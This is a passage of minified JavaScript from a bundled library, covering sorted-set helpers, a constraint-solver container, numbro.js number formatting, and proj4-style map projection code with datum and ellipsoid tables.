n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):(a.push(l),++n),++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a},i.setIntersection=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?++n:(0<u||(a.push(l),++n),++r)}return a},i.setDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u||++n,++r)}for(;n<o;)a.push(t[n]),++n;return a},i.setSymmetricDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):++n,++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a}},function(t,e,i){var n=t(358),r=function(){function t(){this._array=[]}return t.prototype.size=function(){return this._array.length},t.prototype.empty=function(){return 0===this._array.length},t.prototype.itemAt=function(t){return this._array[t]},t.prototype.takeAt=function(t){return this._array.splice(t,1)[0]},t.prototype.clear=function(){this._array=[]},t.prototype.swap=function(t){var e=this._array;this._array=t._array,t._array=e},t.prototype.__iter__=function(){return n.iter(this._array)},t.prototype.__reversed__=function(){return n.reversed(this._array)},t}();i.ArrayBase=r},function(t,e,i){\\n      /*-----------------------------------------------------------------------------\\n          | Copyright (c) 2014, Nucleic Development Team.\\n          |\\n          | Distributed under the terms of the Modified BSD License.\\n          |\\n          | The full license is in the file COPYING.txt, distributed with this software.\\n          |----------------------------------------------------------------------------*/\\n      var n,r=this&&this.__extends||(n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i])},function(t,e){function i(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)}),s=t(359),o=t(355),a=t(354),l=t(358),h=function(n){function o(t){var i,e=n.call(this)||this;return e._compare=t,e._wrapped=(i=t,function(t,e){return i(t.first,e)}),e}return r(o,n),o.prototype.comparitor=function(){return this._compare},o.prototype.indexOf=function(t){return a.binarySearch(this._array,t,this._wrapped)},o.prototype.contains=function(t){return 0<=a.binarySearch(this._array,t,this._wrapped)},o.prototype.find=function(t){return a.binaryFind(this._array,t,this._wrapped)},o.prototype.setDefault=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e());return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e());return i.splice(n,0,r),r}return o},o.prototype.insert=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e);return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e);return i.splice(n,0,r),r}return o.second=e,o},o.prototype.update=function(t){var e=this;t instanceof o?this._array=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l.first,h.first);u<0?(a.push(l.copy()),++n):(0<u?a.push(h.copy()):(a.push(h.copy()),++n),++r)}for(;n<o;)a.push(t[n].copy()),++n;for(;r<s;)a.push(e[r].copy()),++r;return a}(this._array,t._array,this._compare):l.forEach(t,function(t){e.insert(t.first,t.second)})},o.prototype.erase=function(t){var e=this._array,i=a.binarySearch(e,t,this._wrapped);if(!(i<0))return e.splice(i,1)[0]},o.prototype.copy=function(){for(var t=new o(this._compare),e=t._array,i=this._array,n=0,r=i.length;n<r;++n)e.push(i[n].copy());return t},o}(o.ArrayBase);i.AssociativeArray=h},function(t,e,i){function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(354)),n(t(355)),n(t(356)),n(t(358)),n(t(359))},function(t,e,i){var n=function(){function t(t,e){void 0===e&&(e=0),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[this._index++]},t.prototype.__iter__=function(){return this},t}();i.ArrayIterator=n;var r=function(){function t(t,e){void 0===e&&(e=t.length),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[--this._index]},t.prototype.__iter__=function(){return this},t}();i.ReverseArrayIterator=r,i.iter=function(t){return t instanceof Array?new n(t):t.__iter__()},i.reversed=function(t){return t instanceof Array?new r(t):t.__reversed__()},i.next=function(t){return t.__next__()},i.asArray=function(t){if(t instanceof Array)return t.slice();for(var e,i=[],n=t.__iter__();void 0!==(e=n.__next__());)i.push(e);return i},i.forEach=function(t,e){if(t instanceof Array){for(var i=0,n=t.length;i<n;++i)if(!1===e(t[i]))return}else for(var r,o=t.__iter__();void 0!==(r=o.__next__());)if(!1===e(r))return},i.map=function(t,e){var i=[];if(t instanceof Array)for(var n=0,r=t.length;n<r;++n)i.push(e(t[n]));else for(var o,s=t.__iter__();void 0!==(o=s.__next__());)i.push(e(o));return i},i.filter=function(t,e){var i,n=[];if(t instanceof Array)for(var r=0,o=t.length;r<o;++r)i=t[r],e(i)&&n.push(i);else for(var s=t.__iter__();void 0!==(i=s.__next__());)e(i)&&n.push(i);return n}},function(t,e,i){var n=function(){function t(t,e){this.first=t,this.second=e}return t.prototype.copy=function(){return new t(this.first,this.second)},t}();i.Pair=n},function(t,e,i){var n=function(){function t(t){void 0===t&&(t=\\\"\\\"),this._value=0,this._context=null,this._id=r++,this._name=t}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){return this._name},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"name\\\",{get:function(){return this._name},enumerable:!0,configurable:!0}),t.prototype.setName=function(t){this._name=t},Object.defineProperty(t.prototype,\\\"context\\\",{get:function(){return this._context},enumerable:!0,configurable:!0}),t.prototype.setContext=function(t){this._context=t},Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){return this._value},enumerable:!0,configurable:!0}),t.prototype.setValue=function(t){this._value=t},t}();i.Variable=n;var r=0},function(t,e,i){\\n      /*!\\n           * numbro.js\\n           * version : 1.6.2\\n           * author : FÃ¶retagsplatsen AB\\n           * license : MIT\\n           * http://www.foretagsplatsen.se\\n           */\\n      var u,U={},o=U,q=\\\"en-US\\\",Y=null,r=\\\"0,0\\\";function n(t){this._value=t}function p(t){var e,i=\\\"\\\";for(e=0;e<t;e++)i+=\\\"0\\\";return i}function X(t,e,i,n){var r,o,s,a,l,h,u,c,_=Math.pow(10,e);return o=-1<t.toFixed(0).search(\\\"e\\\")?(s=e,c=t.toString(),a=c.split(\\\"e\\\")[0],u=c.split(\\\"e\\\")[1],l=a.split(\\\".\\\")[0],h=a.split(\\\".\\\")[1]||\\\"\\\",c=l+h+p(u-h.length),0<s&&(c+=\\\".\\\"+p(s)),c):(i(t*_)/_).toFixed(e),n&&(r=new RegExp(\\\"0{1,\\\"+n+\\\"}$\\\"),o=o.replace(r,\\\"\\\")),o}function s(t,e,i){var n,r,o,s,a,l,h,u,c,_;return-1<e.indexOf(\\\"$\\\")?n=function(t,e,i){var n,r,o=e,s=o.indexOf(\\\"$\\\"),a=o.indexOf(\\\"(\\\"),l=o.indexOf(\\\"+\\\"),h=o.indexOf(\\\"-\\\"),u=\\\"\\\",c=\\\"\\\";if(-1===o.indexOf(\\\"$\\\")?\\\"infix\\\"===U[q].currency.position?(c=U[q].currency.symbol,U[q].currency.spaceSeparated&&(c=\\\" \\\"+c+\\\" \\\")):U[q].currency.spaceSeparated&&(u=\\\" \\\"):-1<o.indexOf(\\\" $\\\")?(u=\\\" \\\",o=o.replace(\\\" $\\\",\\\"\\\")):-1<o.indexOf(\\\"$ \\\")?(u=\\\" \\\",o=o.replace(\\\"$ \\\",\\\"\\\")):o=o.replace(\\\"$\\\",\\\"\\\"),r=d(t,o,i,c),-1===e.indexOf(\\\"$\\\"))switch(U[q].currency.position){case\\\"postfix\\\":-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;break;case\\\"infix\\\":break;case\\\"prefix\\\":-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=Math.max(a,h)+1,r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r;break;default:throw Error('Currency position should be among [\\\"prefix\\\", \\\"infix\\\", \\\"postfix\\\"]')}else s<=1?-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"+\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=1,(s<a||s<l||s<h)&&(n=0),r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r:-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;return r}(t,e,i):-1<e.indexOf(\\\"%\\\")?(l=t,u=i,_=\\\"\\\",l*=100,-1<(h=e).indexOf(\\\" %\\\")?(_=\\\" \\\",h=h.replace(\\\" %\\\",\\\"\\\")):h=h.replace(\\\"%\\\",\\\"\\\"),-1<(c=d(l,h,u)).indexOf(\\\")\\\")?((c=c.split(\\\"\\\")).splice(-1,0,_+\\\"%\\\"),c=c.join(\\\"\\\")):c=c+_+\\\"%\\\",n=c):-1<e.indexOf(\\\":\\\")?(r=t,o=Math.floor(r/60/60),s=Math.floor((r-60*o*60)/60),a=Math.round(r-60*o*60-60*s),n=o+\\\":\\\"+(s<10?\\\"0\\\"+s:s)+\\\":\\\"+(a<10?\\\"0\\\"+a:a)):n=d(t,e,i),n}function d(t,e,i,n){var r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b,x,w,k=!1,S=!1,C=!1,T=\\\"\\\",A=!1,E=!1,M=!1,O=!1,z=!1,P=\\\"\\\",j=\\\"\\\",N=Math.abs(t),F=[\\\"B\\\",\\\"KiB\\\",\\\"MiB\\\",\\\"GiB\\\",\\\"TiB\\\",\\\"PiB\\\",\\\"EiB\\\",\\\"ZiB\\\",\\\"YiB\\\"],D=[\\\"B\\\",\\\"KB\\\",\\\"MB\\\",\\\"GB\\\",\\\"TB\\\",\\\"PB\\\",\\\"EB\\\",\\\"ZB\\\",\\\"YB\\\"],I=\\\"\\\",R=!1,B=!1;if(0===t&&null!==Y)return Y;if(!isFinite(t))return\\\"\\\"+t;if(0===e.indexOf(\\\"{\\\")){var L=e.indexOf(\\\"}\\\");if(-1===L)throw Error('Format should also contain a \\\"}\\\"');f=e.slice(1,L),e=e.slice(L+1)}else f=\\\"\\\";if(e.indexOf(\\\"}\\\")===e.length-1){var V=e.indexOf(\\\"{\\\");if(-1===V)throw Error('Format should also contain a \\\"{\\\"');v=e.slice(V+1,-1),e=e.slice(0,V+1)}else v=\\\"\\\";if(w=-1===e.indexOf(\\\".\\\")?e.match(/([0-9]+).*/):e.match(/([0-9]+)\\\\..*/),x=null===w?-1:w[1].length,-1!==e.indexOf(\\\"-\\\")&&(R=!0),-1<e.indexOf(\\\"(\\\")?(k=!0,e=e.slice(1,-1)):-1<e.indexOf(\\\"+\\\")&&(S=!0,e=e.replace(/\\\\+/g,\\\"\\\")),-1<e.indexOf(\\\"a\\\")){if(p=e.split(\\\".\\\")[0].match(/[0-9]+/g)||[\\\"0\\\"],p=parseInt(p[0],10),A=0<=e.indexOf(\\\"aK\\\"),E=0<=e.indexOf(\\\"aM\\\"),M=0<=e.indexOf(\\\"aB\\\"),O=0<=e.indexOf(\\\"aT\\\"),z=A||E||M||O,-1<e.indexOf(\\\" a\\\")?(T=\\\" \\\",e=e.replace(\\\" a\\\",\\\"\\\")):e=e.replace(\\\"a\\\",\\\"\\\"),l=Math.floor(Math.log(N)/Math.LN10)+1,u=0==(u=l%3)?3:u,p&&0!==N&&(h=Math.floor(Math.log(N)/Math.LN10)+1-p,c=3*~~((Math.min(p,l)-u)/3),N/=Math.pow(10,c),-1===e.indexOf(\\\".\\\")&&3<p))for(e+=\\\"[.]\\\",y=(y=0===h?0:3*~~(h/3)-h)<0?y+3:y,r=0;r<y;r++)e+=\\\"0\\\";Math.floor(Math.log(Math.abs(t))/Math.LN10)+1!==p&&(N>=Math.pow(10,12)&&!z||O?(T+=U[q].abbreviations.trillion,t/=Math.pow(10,12)):N<Math.pow(10,12)&&N>=Math.pow(10,9)&&!z||M?(T+=U[q].abbreviations.billion,t/=Math.pow(10,9)):N<Math.pow(10,9)&&N>=Math.pow(10,6)&&!z||E?(T+=U[q].abbreviations.million,t/=Math.pow(10,6)):(N<Math.pow(10,6)&&N>=Math.pow(10,3)&&!z||A)&&(T+=U[q].abbreviations.thousand,t/=Math.pow(10,3)))}if(-1<e.indexOf(\\\"b\\\"))for(-1<e.indexOf(\\\" b\\\")?(P=\\\" \\\",e=e.replace(\\\" b\\\",\\\"\\\")):e=e.replace(\\\"b\\\",\\\"\\\"),a=0;a<=F.length;a++)if(o=Math.pow(1024,a),s=Math.pow(1024,a+1),o<=t&&t<s){P+=F[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"d\\\"))for(-1<e.indexOf(\\\" d\\\")?(P=\\\" \\\",e=e.replace(\\\" d\\\",\\\"\\\")):e=e.replace(\\\"d\\\",\\\"\\\"),a=0;a<=D.length;a++)if(o=Math.pow(1e3,a),s=Math.pow(1e3,a+1),o<=t&&t<s){P+=D[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"o\\\")&&(-1<e.indexOf(\\\" o\\\")?(j=\\\" \\\",e=e.replace(\\\" o\\\",\\\"\\\")):e=e.replace(\\\"o\\\",\\\"\\\"),U[q].ordinal&&(j+=U[q].ordinal(t))),-1<e.indexOf(\\\"[.]\\\")&&(C=!0,e=e.replace(\\\"[.]\\\",\\\".\\\")),_=t.toString().split(\\\".\\\")[0],d=e.split(\\\".\\\")[1],m=e.indexOf(\\\",\\\"),d){if(-1!==d.indexOf(\\\"*\\\")?I=X(t,t.toString().split(\\\".\\\")[1].length,i):-1<d.indexOf(\\\"[\\\")?(d=(d=d.replace(\\\"]\\\",\\\"\\\")).split(\\\"[\\\"),I=X(t,d[0].length+d[1].length,i,d[1].length)):I=X(t,d.length,i),_=I.split(\\\".\\\")[0],I.split(\\\".\\\")[1].length){var G=n?T+n:U[q].delimiters.decimal;I=G+I.split(\\\".\\\")[1]}else I=\\\"\\\";C&&0===Number(I.slice(1))&&(I=\\\"\\\")}else _=X(t,null,i);return-1<_.indexOf(\\\"-\\\")&&(_=_.slice(1),B=!0),_.length<x&&(_=new Array(x-_.length+1).join(\\\"0\\\")+_),-1<m&&(_=_.toString().replace(/(\\\\d)(?=(\\\\d{3})+(?!\\\\d))/g,\\\"$1\\\"+U[q].delimiters.thousands)),0===e.indexOf(\\\".\\\")&&(_=\\\"\\\"),g=e.indexOf(\\\"(\\\"),b=e.indexOf(\\\"-\\\"),f+(g<b?(k&&B?\\\"(\\\":\\\"\\\")+(R&&B||!k&&B?\\\"-\\\":\\\"\\\"):(R&&B||!k&&B?\\\"-\\\":\\\"\\\")+(k&&B?\\\"(\\\":\\\"\\\"))+(!B&&S&&0!==t?\\\"+\\\":\\\"\\\")+_+I+(j||\\\"\\\")+(T&&!n?T:\\\"\\\")+(P||\\\"\\\")+(k&&B?\\\")\\\":\\\"\\\")+v}function a(t,e){U[t]=e}function l(t){var e=U[q=t].defaults;e&&e.format&&u.defaultFormat(e.format),e&&e.currencyFormat&&u.defaultCurrencyFormat(e.currencyFormat)}void 0!==e&&e.exports,(u=function(t){return u.isNumbro(t)?t=t.value():0===t||void 0===t?t=0:Number(t)||(t=u.fn.unformat(t)),new n(Number(t))}).version=\\\"1.6.2\\\",u.isNumbro=function(t){return t instanceof n},u.setLanguage=function(t,e){console.warn(\\\"`setLanguage` is deprecated since version 1.6.0. Use `setCulture` instead\\\");var i=t,n=t.split(\\\"-\\\")[0],r=null;o[i]||(Object.keys(o).forEach(function(t){r||t.split(\\\"-\\\")[0]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.setCulture=function(t,e){var i=t,n=t.split(\\\"-\\\")[1],r=null;U[i]||(n&&Object.keys(U).forEach(function(t){r||t.split(\\\"-\\\")[1]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.language=function(t,e){if(console.warn(\\\"`language` is deprecated since version 1.6.0. Use `culture` instead\\\"),!t)return q;if(t&&!e){if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);l(t)}return!e&&o[t]||a(t,e),u},u.culture=function(t,e){if(!t)return q;if(t&&!e){if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);l(t)}return!e&&U[t]||a(t,e),u},u.languageData=function(t){if(console.warn(\\\"`languageData` is deprecated since version 1.6.0. Use `cultureData` instead\\\"),!t)return o[q];if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);return o[t]},u.cultureData=function(t){if(!t)return U[q];if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);return U[t]},u.culture(\\\"en-US\\\",{delimiters:{thousands:\\\",\\\",decimal:\\\".\\\"},abbreviations:{thousand:\\\"k\\\",million:\\\"m\\\",billion:\\\"b\\\",trillion:\\\"t\\\"},ordinal:function(t){var e=t%10;return 1==~~(t%100/10)?\\\"th\\\":1===e?\\\"st\\\":2===e?\\\"nd\\\":3===e?\\\"rd\\\":\\\"th\\\"},currency:{symbol:\\\"$\\\",position:\\\"prefix\\\"},defaults:{currencyFormat:\\\",0000 a\\\"},formats:{fourDigits:\\\"0000 a\\\",fullWithTwoDecimals:\\\"$ ,0.00\\\",fullWithTwoDecimalsNoCurrency:\\\",0.00\\\"}}),u.languages=function(){return console.warn(\\\"`languages` is deprecated since version 1.6.0. Use `cultures` instead\\\"),o},u.cultures=function(){return U},u.zeroFormat=function(t){Y=\\\"string\\\"==typeof t?t:null},u.defaultFormat=function(t){r=\\\"string\\\"==typeof t?t:\\\"0.0\\\"},u.defaultCurrencyFormat=function(t){},u.validate=function(t,e){var i,n,r,o,s,a,l,h;if(\\\"string\\\"!=typeof t&&(t+=\\\"\\\",console.warn&&console.warn(\\\"Numbro.js: Value is not string. It has been co-erced to: \\\",t)),(t=t.trim()).match(/^\\\\d+$/))return!0;if(\\\"\\\"===t)return!1;try{l=u.cultureData(e)}catch(t){l=u.cultureData(u.culture())}return r=l.currency.symbol,s=l.abbreviations,i=l.delimiters.decimal,n=\\\".\\\"===l.delimiters.thousands?\\\"\\\\\\\\.\\\":l.delimiters.thousands,!(null!==(h=t.match(/^[^\\\\d]+/))&&(t=t.substr(1),h[0]!==r)||null!==(h=t.match(/[^\\\\d]+$/))&&(t=t.slice(0,-1),h[0]!==s.thousand&&h[0]!==s.million&&h[0]!==s.billion&&h[0]!==s.trillion)||(a=new RegExp(n+\\\"{2}\\\"),t.match(/[^\\\\d.,]/g)||2<(o=t.split(i)).length||(o.length<2?!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a):1===o[0].length?!o[0].match(/^\\\\d+$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/):!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/))))},e.exports={format:function(t,e,i,n){return null!=i&&i!==u.culture()&&u.setCulture(i),s(Number(t),null!=e?e:r,null==n?Math.round:n)}}},function(t,e,i){var l=t(382),h=t(380),n=t(384),u=t(379),c=t(370),_=t(375);function p(t,e){if(!(this instanceof p))return new p(t);e=e||function(t){if(t)throw t};var i=l(t);if(\\\"object\\\"==typeof i){var n=p.projections.get(i.projName);if(n){if(i.datumCode&&\\\"none\\\"!==i.datumCode){var r=c[i.datumCode];r&&(i.datum_params=r.towgs84?r.towgs84.split(\\\",\\\"):null,i.ellps=r.ellipse,i.datumName=r.datumName?r.datumName:i.datumCode)}i.k0=i.k0||1,i.axis=i.axis||\\\"enu\\\";var o=u.sphere(i.a,i.b,i.rf,i.ellps,i.sphere),s=u.eccentricity(o.a,o.b,o.rf,i.R_A),a=i.datum||_(i.datumCode,i.datum_params,o.a,o.b,s.es,s.ep2);h(this,i),h(this,n),this.a=o.a,this.b=o.b,this.rf=o.rf,this.sphere=o.sphere,this.es=s.es,this.e=s.e,this.ep2=s.ep2,this.datum=a,this.init(),e(null,this)}else e(t)}else e(t)}(p.projections=n).start(),e.exports=p},function(t,e,i){e.exports=function(t,e,i){var n,r,o,s=i.x,a=i.y,l=i.z||0,h={};for(o=0;o<3;o++)if(!e||2!==o||void 0!==i.z)switch(0===o?(n=s,r=\\\"x\\\"):1===o?(n=a,r=\\\"y\\\"):(n=l,r=\\\"z\\\"),t.axis[o]){case\\\"e\\\":h[r]=n;break;case\\\"w\\\":h[r]=-n;break;case\\\"n\\\":h[r]=n;break;case\\\"s\\\":h[r]=-n;break;case\\\"u\\\":void 0!==i[r]&&(h.z=n);break;case\\\"d\\\":void 0!==i[r]&&(h.z=-n);break;default:return null}return h}},function(t,e,i){var n=2*Math.PI,r=t(367);e.exports=function(t){return Math.abs(t)<=3.14159265359?t:t-r(t)*n}},function(t,e,i){e.exports=function(t,e,i){var n=t*e;return i/Math.sqrt(1-n*n)}},function(t,e,i){var a=Math.PI/2;e.exports=function(t,e){for(var i,n,r=.5*t,o=a-2*Math.atan(e),s=0;s<=15;s++)if(i=t*Math.sin(o),n=a-2*Math.atan(e*Math.pow((1-i)/(1+i),r))-o,o+=n,Math.abs(n)<=1e-10)return o;return-9999}},function(t,e,i){e.exports=function(t){return t<0?-1:1}},function(t,e,i){e.exports=function(t){var e={x:t[0],y:t[1]};return 2<t.length&&(e.z=t[2]),3<t.length&&(e.m=t[3]),e}},function(t,e,i){var o=Math.PI/2;e.exports=function(t,e,i){var n=t*i,r=.5*t;return n=Math.pow((1-n)/(1+n),r),Math.tan(.5*(o-e))/n}},function(t,e,i){i.wgs84={towgs84:\\\"0,0,0\\\",ellipse:\\\"WGS84\\\",datumName:\\\"WGS84\\\"},i.ch1903={towgs84:\\\"674.374,15.056,405.346\\\",ellipse:\\\"bessel\\\",datumName:\\\"swiss\\\"},i.ggrs87={towgs84:\\\"-199.87,74.79,246.62\\\",ellipse:\\\"GRS80\\\",datumName:\\\"Greek_Geodetic_Reference_System_1987\\\"},i.nad83={towgs84:\\\"0,0,0\\\",ellipse:\\\"GRS80\\\",datumName:\\\"North_American_Datum_1983\\\"},i.nad27={nadgrids:\\\"@conus,@alaska,@ntv2_0.gsb,@ntv1_can.dat\\\",ellipse:\\\"clrk66\\\",datumName:\\\"North_American_Datum_1927\\\"},i.potsdam={towgs84:\\\"606.0,23.0,413.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Potsdam Rauenberg 1950 DHDN\\\"},i.carthage={towgs84:\\\"-263.0,6.0,431.0\\\",ellipse:\\\"clark80\\\",datumName:\\\"Carthage 1934 Tunisia\\\"},i.hermannskogel={towgs84:\\\"653.0,-212.0,449.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Hermannskogel\\\"},i.ire65={towgs84:\\\"482.530,-130.596,564.557,-1.042,-0.214,-0.631,8.15\\\",ellipse:\\\"mod_airy\\\",datumName:\\\"Ireland 1965\\\"},i.rassadiran={towgs84:\\\"-133.63,-157.5,-158.62\\\",ellipse:\\\"intl\\\",datumName:\\\"Rassadiran\\\"},i.nzgd49={towgs84:\\\"59.47,-5.04,187.44,0.47,-0.1,1.024,-4.5993\\\",ellipse:\\\"intl\\\",datumName:\\\"New Zealand Geodetic Datum 1949\\\"},i.osgb36={towgs84:\\\"446.448,-125.157,542.060,0.1502,0.2470,0.8421,-20.4894\\\",ellipse:\\\"airy\\\",datumName:\\\"Airy 1830\\\"},i.s_jtsk={towgs84:\\\"589,76,480\\\",ellipse:\\\"bessel\\\",datumName:\\\"S-JTSK (Ferro)\\\"},i.beduaram={towgs84:\\\"-106,-87,188\\\",ellipse:\\\"clrk80\\\",datumName:\\\"Beduaram\\\"},i.gunung_segara={towgs84:\\\"-403,684,41\\\",ellipse:\\\"bessel\\\",datumName:\\\"Gunung Segara Jakarta\\\"},i.rnb72={towgs84:\\\"106.869,-52.2978,103.724,-0.33657,0.456955,-1.84218,1\\\",ellipse:\\\"intl\\\",datumName:\\\"Reseau National Belge 1972\\\"}},function(t,e,i){i.MERIT={a:6378137,rf:298.257,ellipseName:\\\"MERIT 1983\\\"},i.SGS85={a:6378136,rf:298.257,ellipseName:\\\"Soviet Geodetic System 85\\\"},i.GRS80={a:6378137,rf:298.257222101,ellipseName:\\\"GRS 1980(IUGG, 1980)\\\"},i.IAU76={a:6378140,rf:298.257,ellipseName:\\\"IAU 1976\\\"},i.airy={a:6377563.396,b:6356256.91,ellipseName:\\\"Airy 1830\\\"},i.APL4={a:6378137,rf:298.25,ellipseName:\\\"Appl. Physics. 1965\\\"},i.NWL9D={a:6378145,rf:298.25,ellipseName:\\\"Naval Weapons Lab., 1965\\\"},i.mod_airy={a:6377340.189,b:6356034.446,ellipseName:\\\"Modified Airy\\\"},i.andrae={a:6377104.43,rf:300,ellipseName:\\\"Andrae 1876 (Den., Iclnd.)\\\"},i.aust_SA={a:6378160,rf:298.25,ellipseName:\\\"Australian Natl & S. Amer. 1969\\\"},i.GRS67={a:6378160,rf:298.247167427,ellipseName:\\\"GRS 67(IUGG 1967)\\\"},i.bessel={a:6377397.155,rf:299.1528128,ellipseName:\\\"Bessel 1841\\\"},i.bess_nam={a:6377483.865,rf:299.1528128,ellipseName:\\\"Bessel 1841 (Namibia)\\\"},i.clrk66={a:6378206.4,b:6356583.8,ellipseName:\\\"Clarke 1866\\\"},i.clrk80={a:6378249.145,rf:293.4663,ellipseName:\\\"Clarke 1880 mod.\\\"},i.clrk58={a:6378293.645208759,rf:294.2606763692654,ellipseName:\\\"Clarke 1858\\\"},i.CPM={a:6375738.7,rf:334.29,ellipseName:\\\"Comm. des Poids et Mesures 1799\\\"},i.delmbr={a:6376428,rf:311.5,ellipseName:\\\"Delambre 1810 (Belgium)\\\"},i.engelis={a:6378136.05,rf:298.2566,ellipseName:\\\"Engelis 1985\\\"},i.evrst30={a:6377276.345,rf:300.8017,ellipseName:\\\"Everest 1830\\\"},i.evrst48={a:6377304.063,rf:300.8017,ellipseName:\\\"Everest 1948\\\"},i.evrst56={a:6377301.243,rf:300.8017,ellipseName:\\\"Everest 1956\\\"},i.evrst69={a:6377295.664,rf:300.8017,ellipseName:\\\"Everest 1969\\\"},i.evrstSS={a:6377298.556,rf:300.8017,ellipseName:\\\"Everest (Sabah & Sarawak)\\\"},i.fschr60={a:6378166,rf:298.3,ellipseName:\\\"Fischer (Mercury Datum) 1960\\\"},i.fschr60m={a:6378155,rf:298.3,ellipseName:\\\"Fischer 1960\\\"},i.fschr68={a:6378150,rf:298.3,ellipseName:\\\"Fischer 1968\\\"},i.helmert={a:6378200,rf:298.3,ellipseName:\\\"Helmert 1906\\\"},i.hough={a:6378270,rf:297,ellipseName:\\\"Hough\\\"},i.intl={a:6378388,rf:297,ellipseName:\\\"International 1909 (Hayford)\\\"},i.kaula={a:6378163,rf:298.24,ellipseName:\\\"Kaula 1961\\\"},i.lerch={a:6378139,rf:298.257,ellipseName:\\\"Lerch 1979\\\"},i.mprts={a:6397300,rf:191,ellipseName:\\\"Maupertius 1738\\\"},i.new_intl={a:6378157.5,b:6356772.2,ellipseName:\\\"New International 1967\\\"},i.plessis={a:6376523,rf:6355863,ellipseName:\\\"Plessis 1817 (France)\\\"},i.krass={a:6378245,rf:298.3,ellipseName:\\\"Krassovsky, 1942\\\"},i.SEasia={a:6378155,b:6356773.3205,ellipseName:\\\"Southeast Asia\\\"},i.walbeck={a:6376896,b:6355834.8467,ellipseName:\\\"Walbeck\\\"},i.WGS60={a:6378165,rf:298.3,ellipseName:\\\"WGS 60\\\"},i.WGS66={a:6378145,rf:298.25,ellipseName:\\\"WGS 66\\\"},i.WGS7={a:6378135,rf:298.26,ellipseName:\\\"WGS 72\\\"},i.WGS84={a:6378137,rf:298.257223563,ellipseName:\\\"WGS 84\\\"},i.sphere={a:6370997,b:6370997,ellipseName:\\\"Normal Sphere (r=6370997)\\\"}},function(t,e,i){i.greenwich=0,i.lisbon=-9.131906111111,i.paris=2.337229166667,i.bogota=-74.080916666667,i.madrid=-3.687938888889,i.rome=12.452333333333,i.bern=7.439583333333,i.jakarta=106.807719444444,i.ferro=-17.666666666667,i.brussels=4.367975,i.stockholm=18.058277777778,i.athens=23.7163375,i.oslo=10.722916666667},function(t,e,i){i.ft={to_meter:.3048},i[\\\"us-ft\\\"]={to_meter:1200/3937}},function(t,e,i){var n=t(362),r=t(387),o=n(\\\"WGS84\\\");function s(t,e,i){var n;return Array.isArray(i)?(n=r(t,e,i),3===i.length?[n.x,n.y,n.z]:[n.x,n.y]):r(t,e,i)}function a(t){return t instanceof n?t:t.oProj?t.oProj:n(t)}e.exports=function(e,i,t){e=a(e);var n,r=!1;return void 0===i?(i=e,e=o,r=!0):(void 0!==i.x||Array.isArray(i))&&(t=i,i=e,e=o,r=!0),i=a(i),t?s(e,i,t):(n={forward:function(t){return s(e,i,t)},inverse:function(t){return s(i,e,t)}},r&&(n.oProj=i),n)}},function(t,e,i){var a=484813681109536e-20;e.exports=function(t,e,i,n,r,o){var s={datum_type:4};return 